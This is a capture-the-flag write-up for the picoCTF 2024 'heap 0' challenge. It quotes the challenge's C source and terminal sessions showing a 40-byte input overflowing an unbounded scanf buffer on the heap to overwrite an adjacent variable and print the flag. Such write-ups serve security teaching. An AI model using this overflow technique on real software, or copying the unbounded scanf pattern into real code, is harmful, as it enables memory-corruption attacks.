Skip to content

Latest commit

 

History

History
260 lines (203 loc) · 8.11 KB

File metadata and controls

260 lines (203 loc) · 8.11 KB

heap 0

Challenge information

Level: Easy
Tags: picoCTF 2024, Binary Exploitation, browser_webshell_solvable, heap
Author: ABRXS, PR1OR1TYQ

Description:
Are overflows just a stack concern?

Download the binary here.
Download the source here.

Connect with the challenge instance here:
nc tethys.picoctf.net 59346
 
Hints:
1. What part of the heap do you have control over and how far is it from the safe_var?

Challenge link: https://play.picoctf.org/practice/challenge/438

Solution

Analyse the C file

We start by analysing the rather long C source code. First the main function.

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
        int rval = scanf("%d", &choice);
        if (rval == EOF){
            exit(0);
        }
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
            exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

Main basically does the following:

  • Initialize the heap by calling the init function
  • Print the contents of the heap with the print_heap function
  • Print the menu with the print_menu function
  • Read the menu choice, basically 1-4, and do different things based on the choice

The check_win function (menu choice 4) will print the flag for us if we have managed to change the contents of the safe_var variable

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

Let's skip the rest of the source code for now and try out the binary.

Run the binary locally

Next, we run the binary

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/heap_0]
└─$ ./chall    

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x556e508826b0  ->   pico
+-------------+----------------+
[*]   0x556e508826d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 

The difference between the memory positions is 32 bytes.

Let's write say 40 bytes of data and see if we can overwrite safe_var.

Enter your choice: 2
Data for buffer: aaaaaaaaaabbbbbbbbbbccccccccccdddddddddd

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x556e508826b0  ->   aaaaaaaaaabbbbbbbbbbccccccccccdddddddddd
+-------------+----------------+
[*]   0x556e508826d0  ->   dddddddd
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
zsh: segmentation fault  ./chall
                                                                                                                                                                     
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/heap_0]
└─$ 

Success, we managed to overwrite safe_var. The segmentation fault error is due to the fact that no flag.txt file exists in the directory.

The cause is the unbounded use of scanf (scanf("%s", input_data);) in the write_buffer function.

Get the flag

Finally, we connect to the site vith netcat and follow the same procedure

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/heap_0]
└─$ nc tethys.picoctf.net 59346

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5c1bede962b0  ->   pico
+-------------+----------------+
[*]   0x5c1bede962d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: aaaaaaaaaabbbbbbbbbbccccccccccdddddddddd

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5c1bede962b0  ->   aaaaaaaaaabbbbbbbbbbccccccccccdddddddddd
+-------------+----------------+
[*]   0x5c1bede962d0  ->   dddddddd
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{<REDACTED>}
                                                                                                                                                                     
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/heap_0]
└─$ 

For additional information, please see the references below.

References